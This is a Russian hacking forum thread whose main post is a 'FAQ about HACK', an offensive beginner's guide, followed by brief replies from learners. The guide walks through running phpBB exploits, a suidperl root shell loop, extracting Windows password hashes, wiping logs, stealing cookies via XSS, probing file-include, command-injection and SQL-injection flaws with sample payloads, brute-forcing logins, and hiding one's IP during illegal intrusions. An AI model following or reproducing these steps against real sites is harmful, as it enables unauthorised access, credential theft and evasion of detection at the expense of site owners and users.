Перейти к содержимому

Фотография

Faq About Hack V1.5

- - - - -

  • Авторизуйтесь для ответа в теме

#1
+s.p.a.m.+

Отправлено 30 ���� 2008 - 05:33

+s.p.a.m.+

    Личный хакер форума=)

  • Banned
  • 228 сообщений
FAQ about HACK v1.5
Данный фак не стремится объять все темы, касающиеся хакинга и околоземных вещей. Мы даже не затронули ту сотую часть, что несёт в себе слово "хакинг" как таковое. Единственная цель, которую мы преследовали, показать, что не всё так страшно и учиться этому стоит. Главное - желание. Пробудить его - вот ради чего всё это написано.

Вопросы:

1 Я ничего не знаю в хакинге! Помогите, кто сможет! Возьмите на обучение!
1.1 Какие основы нужно знать?

2 Как поломать страницу\получить пароль администратора и т.д.?
2.1 Как взломать форум (на примере PhpBB)?
2.1.1 Как использовать эксплоит?
2.1.2 Что такое шелл и зачем он нужен?
2.1.3 Как подняться до рута?
2.1.3.1 как получить администраторские привилегии под Win?
2.1.4 Как не засветится на сервере?
2.2 Как взломать движок сайта?
2.2.1 Какие виды ошибок чаще всего встречаются?
2.2.2 Слышал про уязвимости под названием xss??? Как это можно использовать для своей выгоды???
2.2.3 Украл c*****s, что же далее???
2.2.4 Как подменить мои куки на чужие???
2.2.5 Что такое "инклуд баг"?
2.2.6 Как можно выполнить команды на удалённом сервере?
2.2.7 Как получить доступ к бд сайта?
2.2.8 Какие бывают программы для автоматического поиска бажных скриптов?
2.2.9 Ну а защитить свой скрипт как?
2.2.10 Что делать, если на сервере нет вэб-содержимого?

3 Шифрование и кодирование. Who is who?
3.1 Алгоритм кодирования Base 64
3.2 Алгоритм шифрования MD5

4 Что есть анонимность? Как сделать так, чтобы не запалили?

Ответы:

1 Милок, самое главное тут - самообучение. Есть желание и старание - всё получится. Могу посоветовать начать изучать всё с книг из серии "Секреты хакеров...", далее переходить на более совершенные, основные так сказать, доки, такие как RFC и man-страницы =). Всё что не понятно спрашивай на форуме. Чем сможем - тем и поможем. Мы тоже знаем не всё, наш разум не безграничен и не всеобъятен =).

1.1 Для начала я бы посоветовал изучить хотя бы основы языков вэб-программирования. Мне по душе больше Perl, но советовать я его не буду, ибо все языки хороши по-своему. Далее. Нужен хотя бы минимальный практикум использования *nix-based ОС. Установите себе на жёсткий линух и балуйтесь, хотябы минут по 5 в день =))). Нужно чётко и ясно представлять, что это за архитектура такая, клиент-сервер, что такое порт, что такое "демон". Конечно, неплохо бы знать определённый "сленг" : фингерпринтинг, баннергрэббинг и т.д. - они облегчат понимание разговоров на технических форумах.

2 Вопрос очень широко поставлен. Постараемся углубиться в понятие взлом "странички". Для начала нужно исходить из того, что портал, в какой бы форме он не был, представляет из себя уже потенциальную брешь. Если сайт построен на статистическом контенте (расширение файлов html, не присутствуют разные cgi-приложения и т.д.), то можно сказать с небольшой уверенностью, что этот пункт можно пропустить. Если же вы встретили динамический контент (страницы имеют расширение php, asp, присутствуют cgi-приложения, pl-скрипты и т.д.) то можете читать дальше - возможно вы встретите нужную информацию.

2.1 Взлом форума будет рассмотрен на примере PhpBB, но характерен и для иных форумов - алгоритм тот же. Для начала неплохо бы определить версию форума, для этого идём на главную страничку форума и смотрим в самый низ паги. Далее надо сходить на securitylab или иные сайты по инф. безопасности - почитать море уязвимостей в phpBB самых разных версий. Оттуда же можешь утянуть эксплоит под свою версию форума.

2.1.1 Для phpBB есть самые разные эксплоиты - на С, Perl, PHP.
Чтобы заюзать сишный эксплоит, необходимо привести его исходный код в рабочее состояние, а затем скомпилировать gcc и ему подобными инструментами (C++ Builder для виндовых эксплоитов).
[r00t@localhost vi]$ gcc expl.c -o expl
Для использования Perl-сплоитов нужен Perl (логично, правда). Использовать перл-эксплоиты так же не сложно :
[r00t@localhost vi]$ perl expl.pl [ARGUMENTS]
где [ARGUMENTS] это аргументы, передаваемые скрипту. Перл и Си чаще всего используются при написании эксплоитов. Эксплоиты используются в основном для поднятия привилегий в программном продукте. Допустим, при помощи phpBB <= 2.0.10 remote commands exec exploit (создатели - RUSH Security team) можно выполнять команды на целевой системе. Соответственно, мы имеем полноценный шелл с привилегиями вэб-вервера.

2.1.2 Шелл - это в первую очередь оболочка. Если это *nix-based система, то, поимев шелл на ней , мы можем управлять ей удалённо. Через шелл можно делать все,что хочешь - это что-то вроде командной строки. Но чаще всего шелла с правами вэб-сервера не хватает, поэтому умные люди придумали следующий способ атаки: расширение привилегий до root`a.

2.1.3 До рута чаще сего поднимаются при помощи local-exploita, будучи уже в машине под непривилегированным аккаунтом, чаще всего написанного для ядра или бажных демонов. Т.е. всё опять сводится к поиску эксплоита. Хотя есть и альтернативный вариант - использование суидперла.
Код:

#!/usr/bin/suidperl -U
#Writed by Forb
while(1) {
print "rootcmd# ";
$cmd=<>;
chomp($cmd);
$out=`$cmd`;
print $out;
}

2.1.3.1 В win98\Me пароли хранятся в *.pwl файлах, которые обычно находятся в папке c:/windows/ . Выдрать пароли можно, например, с помощью программы RePWL или её аналогов. В winXP хеши паролей хранятся в файле SAM, но windows блокирует этот файл - так,что скопировать его можно только загружаясь с загрузочной дискеты. Достать эти хеши и брутить в надежде получения пароля можно с помощью тулзы SamInside. Существует другой способ - можно загрузиться с загрузочной дискеты, которая просто-напросто убирает все пароли. Затем можно логиниться только по имени пользователя. Найти "начинку" такой дискеты ты можешь на форуме. Но помни, что админ сразу заметит, что пароль удалён, так что будь осторожнее =)

2.1.4 Для этих целей чаще всего используют логвайперы. Это такие програмульки, которые подчищают логи IDS. Советую для этих дел логвайпер Vanish.

2.2 Движок сайта - это набор скриптов, отвечающих за определённые действия - добавление новостей, учёт статистики и т.д. Если название движка общеизвестно, то можно просто подыскать для него эксплоит. Если же движок самописный, то тут нужно тестировать каждую составляющую вручную или при помощи специальных сканеров уязвимостей. Вы должны понимать, что информация в основном передаётся методами GET и\или POST; должны уметь пользоваться такими утилитами, как Access Diver. Ну вот, думаю, основное. Приступим-с =). П.с. В данном факе рассматривается только GET-метод передачи данных.

2.2.1 Чаще всего встречаются ошибки, приводящие к SQL-инъекциям, Cross-Site Scripting`у, выводу директории, возможности выполнения команд через GET-запросы. Нереально описать каждый баг в подробностях, поэтому тут будет только краткое их описание.

2.2.2 Xss (межсайтовый скриптинг) это метод внедрения "хакерского" кода в HTML код уязвимой страницы. Например, можно вставить ява скрипт, который будет сохранять c*****s пользователей, просмотревших страницу (сохранять с помощью скрипта под названием "сниффер", который предварительно должен быть установлен на сайте атакующего). В основном баг кроется в разнообразных гостевых книгах и форумах.

2.2.3 Чужие c*****s нельзя использовать напрямую для авторизации (в отличие от логина и пароля). Просто на некоторых сайтах куки создаются для того, чтобы пользователи не вводили логин/пароль каждый раз при открытии\закрытии окна браузера или при переходе от одной страницы к другой. Хакер может заменить свои c*****s на "ворованные" и автоматически зайти на сайт под чужим именем. Куки часто содержат логин и зашифрованный пароль, который есть шанс расшифровать и использовать для "нормальной" авторизации. Но часто в c*****s нет никакой важной информации (например, они создаются для того, чтоб определить, заходил ли уже пользоватетель на данный сайт - как понимаете от такой информации проку мало =))

2.2.4 В Опере c*****s можно редактировать через меню настройки/дополнительно/c*****s , в IE придётся использовать "сторонние средства", например, программой c*****seditor или IEC*****sView.

2.2.5 PHP::include()
При помощи этой функции можно подключить произвольный файл, который выполнится php-интерпретатором. Рассмотрим на простейшем примере. Допустим, у нас имеется скрипт, в котором переменной ID присваивается значение /index.html
www.xakepy.ru/index.php?ID=/index.html
Данная переменная уже потенциальна уязвима к данной баге. А самым банальным образом это проверить можно так -
http://www.xakepy.ru/index.php?ID=/......#46;/etc/passwd
Если вы увидели файл /etc/passwd на экране своего монитора, то могу вас поздравить. Вы нашли то, к чему стремились. Довольно подробно процесс нахождения этой уязвимости и нюансы при поиске можно найти в книге Марселя Низамутдинова - "Тактика защиты и нападения на web-приложения".

2.2.6 Тут можно прибегнуть к помощи опять-таки бажных скриптов. Допустим, у нас есть cgi-сценарий. Ему передаётся переменная с определённым значением :
xakepy.ru/cgi-bin/123.cgi?id=iis
Изменяем значение переменной id, обрамляя её пайпами:
xakepy.ru/cgi-bin/123.cgi?id=|id|
Если где-нить на экране появились твои права в системе, прыгай до потолка. Ты получил полноценный вэб-шелл и можешь без проблем выполнять команды. Это основные методы, более поподробнее в линках внизу.

2.2.7 Получить доступ к БД можно путём грамотной и правильной SQL-инъекции. Иначе, поимев шелл на компьютере-жертве, можно просмотреть все конфигурационные файлы (config.php и т.д.), вытащить оттуда имя пользователя, базу, а затем и пасс. Дальнейшие действия зависят только от фантазии взломщика - можно просматривать таблицы, изменять. Сдампить и просмотреть на локальной машине... Как проверить скрипт на sql-инъекцию? Тоже довольно просто... Ищете скрипт, который работает с БД (да и просто интуитивно параметры изменять можно).
xakepy.ru/forum.php?id=1
заменяем значение переменной id на символ ' (%27). Получаем:
xakepy.ru/forum.php?id='
Если вы увидите ошибку, в которой встречается слово OLE ODBC или что-нибудь, связанное с БД, то можно предположить, что этот скрипт подвержен к sql-inj. Подробнее в ссылках внизу.

2.2.8 Таких программ огромное множества. Лидирует в данной области продукт под названием XSpider. Также можно отметить программный продукт от eEyE - Retina. ISS тоже держит свою нишу в этой области.

2.2.9 Нужно фильтровать все принятые от пользователя параметры на наличие спецсимволов. Чтобы защитить себя от include бага (напомню, что функция include читает и выполняет любой PHP скрипт, который указан в её параметрах) нужно избегать возможности изменения хакером переменной, которая является параметром в функции include. пример незащищённого кода:
PHP код:
<?
include "$file";
# переменную $file можно изменить get запросом
# (например так script.php?file=http://site.ru/hackscript.php - в этом случае переменной $file
# будет присвоено "http://site.ru/hackscript.php", а значит,
#затем будет выполнено include "http://site.ru/hackscript.php"
# - то есть выполнится "злой хакерский код" из скрипта hackscript.php с хакерского сайта site.ru)
?>
пример защищённого кода:
PHP код:
<?
switch ($_GET["page"]) { //пользователь может влиять на параметр page
case "register": { include "file1.php"; break; }
// но "под" include он не может написать произвольный файл
case "panels": { include "file2.php"; break; }
case "article": { include "file3.php"; break; }
case "files": { include "file4.php"; break; }
case "bugtrack": { include "file5.php"; break; }
default: { include "file6.php"; break; }}
?>
Ну а если вначале каждого скрипта написать конструкцию:
PHP код:
<?
function unbug($str)
{
$str= str_replace("\"","&+#0034;",$str); //Уберите знак "+",
$str= str_replace("'","&+#0039;",$str); //Уберите знак "+",
$str= str_replace("`","&+#0096;",$str); //Уберите знак "+",
$str= str_replace("<","&+lt;",$str); //Уберите знак "+",
$str= str_replace(">","&+gt;",$str); //Уберите знак "+",
return $str;
}
$QUERY_STRING=unbug($QUERY_STRING);
?>
то минимальная защита от атак типа sql-injection и XSS обеспечена

2.2.10 Просканировать хост при помощи программы nmap или аналогов на открытые порты - это первый шаг к достижению цели. Открытые порты будут свидетельствовать о том, какие сервисы предоставляет хост и их версии. Допустим, тут открыт порт номер 21. У нас есть версия сервиса, поэтому топаем на багтрак и смотрим, бажный ли сервис аль нет. Если это не принесло успехов, можно попытаться сбрутить валидный аккаунт при помощи брутофорсов (таких как Hydra, например).

3 Многие думают что шифрование и кодирование это одно и то же. Скажу сразу, это глубокое заблуждение. Кодирование создаёт намного меньше проблем - это простое представление одного набора символов через другое. Кодирование - процесс обратимый, в отличии от шифрования. Рассмотрим кодирование на примере Base 64 и шифрование на примере MD5.

3.1 Алгоритм Base 64 был разработан для передачи в URL строк, содержащих любые символы. Безопасность такой алгоритм обеспечить не может. На том же самом перле можно привести сценарий, который раскодирует любую строку:
Код:

use MIME::base64;
print decode_base64($ARGV[0]);

3.2 MD5 - Это алгоритм однонаправленного хеширования. Нужно помнить, что однонаправленное хеширование подразумевает под собой НЕОБРАТИМОСТЬ функции. Зная, что используется MD5, из хеш-кода никогда нельзя получить исходное значение. Чтобы получить начальное значение MD5 использую следующий метод - мнимое начальное значение подвергают шифрованию алгоритмом MD5 и получившийся хеш-код сравнивают с нужным. Иначе никак =). Усложнить такой процесс могут секретные ключи, рандомное число или что-либо ещё. В таком случае нужно иметь огромнейшую вычислительную мощь. Если вы встретили на пути MD5, советую пообщаться с программой MD5inside. Она существенно облегчит и автоматизирует все ваши нужды.

4 Анонимность - вот что нужно соблюдать при проведении взломов и прочей мишуре, которая не в ладах с законом. Как же вас могут вычислить? да проще простого. По IP адресу (не сказать что только по нему, это самый простой вариант). Для того чтобы как-то анонимизировать своё пребывание в Интернете советую использовать прокси-сервера (proxy-servers). Большинство из них заменяют твой ИП адрес своим. Но не всё так шоколадно, как кажется на первый взгляд. Во-первых, они могут вести логи. Во- вторых, они могут быть прозрачными, т.е. не до конца скрывать твоё пребывание в инете. Прокси сервера отличаются между собой по многим параметрам, основный из которых уровень анонимности (если рассматривать прокси сервера, главная цель которых обеспечить анонимность). Проверить это и не только, поможет наикрутейшая програмулька - Proxy Checker v. 7.0. Просто кидаем туда список прокси, выбираем протокол и нажимаем "Скан". Всё =). После скана видим самый лучший, по вашему мнению проксик, и используем по назначению. Можно заюзать такие программы, как A4Proxy или Hide IP. Они помогут автоматизировать некие рутийные процессы. В общем, советую. следующий аспект анонимности. Выше упоминалось, что не все проксики такие "красивые", как кажутся на первый взгляд. А как же сделать свой проксик? Для этого достаточно иметь шелл и прямые руки. Дополнительная инфа по данному вопросу внизу страницы, в виде линков на статьи. Как вариант - использование VPN (Virtual Private Network). С его помощью можно не только спрятать ИП от посторонних глаз, но и зашифровать траффик пользовательского канала от провайдера. Работать с ВПН проще простого. Я даже советую раскошелиться на ВПН , нежели пользоваться паблик-проксиками.

#2
DreaMinder

Отправлено 17 ���� 2009 - 05:35

DreaMinder

    DR

  • Пользователи
  • 359 сообщений
Автор, а с какого языка начать? Html знаю, хоть ето и не язык...

#3
+s.p.a.m.+

Отправлено 20 ���� 2009 - 10:53

+s.p.a.m.+

    Личный хакер форума=)

  • Banned
  • 228 сообщений
Цитата(DreaMinder @ Mar 17 2009, 17:35) <{POST_SNAPBACK}>
Автор, а с какого языка начать? Html знаю, хоть ето и не язык...


Извини за ожидание, меня не было на форуме, долго отсутствовал (проблемы кой какие были)...
Значит перейдем к вопросу, начать изучение языка лучше с того, смотря что именно тебе нужно (sql инжект иль чет другое) я бы тебе посоветовал выучить язык SQL, И php, а далее по потребностям))))
SQL Я ВЫУЧИЛ ЗА ПАРУ ЧАСОВ

#4
DreaMinder

Отправлено 21 ���� 2009 - 07:20

DreaMinder

    DR

  • Пользователи
  • 359 сообщений
Спасибо, но уже начал с PHP ...
конечно т.к. первый язык есть загвоздки в самом типе программирования, но думаю скоро все пойму...
переменные так понял не столь важны как стандартные функции...

#5
+s.p.a.m.+

Отправлено 21 ���� 2009 - 11:44

+s.p.a.m.+

    Личный хакер форума=)

  • Banned
  • 228 сообщений
Цитата(DreaMinder @ Jul 21 2009, 7:20) <{POST_SNAPBACK}>
Спасибо, но уже начал с PHP ...
конечно т.к. первый язык есть загвоздки в самом типе программирования, но думаю скоро все пойму...
переменные так понял не столь важны как стандартные функции...


Можно поинтересоваться, а с какой целью ты собираешься поднимать свой уровень знаний в этом вопросе?

#6
DreaMinder

Отправлено 22 ���� 2009 - 08:29

DreaMinder

    DR

  • Пользователи
  • 359 сообщений
когда я писал вопрос, если чесно, хотел не программировать, просто читать и понимать хотя бы какой-то язык...
а сейчас мне нужен PHP для создания самых простых трюков для сайта, не скриптов... ну... напрмиер... генерация тега title для каждой статьи отдельно(название сатьи сверху, над "файл, правка")

#7
+s.p.a.m.+

Отправлено 22 ���� 2009 - 08:01

+s.p.a.m.+

    Личный хакер форума=)

  • Banned
  • 228 сообщений
Цитата(DreaMinder @ Jul 22 2009, 8:29) <{POST_SNAPBACK}>
когда я писал вопрос, если чесно, хотел не программировать, просто читать и понимать хотя бы какой-то язык...
а сейчас мне нужен PHP для создания самых простых трюков для сайта, не скриптов... ну... напрмиер... генерация тега title для каждой статьи отдельно(название сатьи сверху, над "файл, правка")


Ясно)) Ну ты в принципе правильный выбор сделал и избрал верный путь развития))

#8
Guest_D.Nulse_*

Отправлено 05 ������� 2009 - 09:52

Guest_D.Nulse_*
  • Гости
Теперь все возникающие вопросы пишем в этой теме.
Если не понятен какой-либо пункт в одном из уроков, то пишем, что конкретно непонятно и ссылку на непонятный урок. Вам обязательно ответят.

#9
demon123

Отправлено 23 ������� 2010 - 10:40

demon123

    Мастер

  • Пользователи
  • 564 сообщений
Трудно разобраться но автору спасибо буду читать и вникать)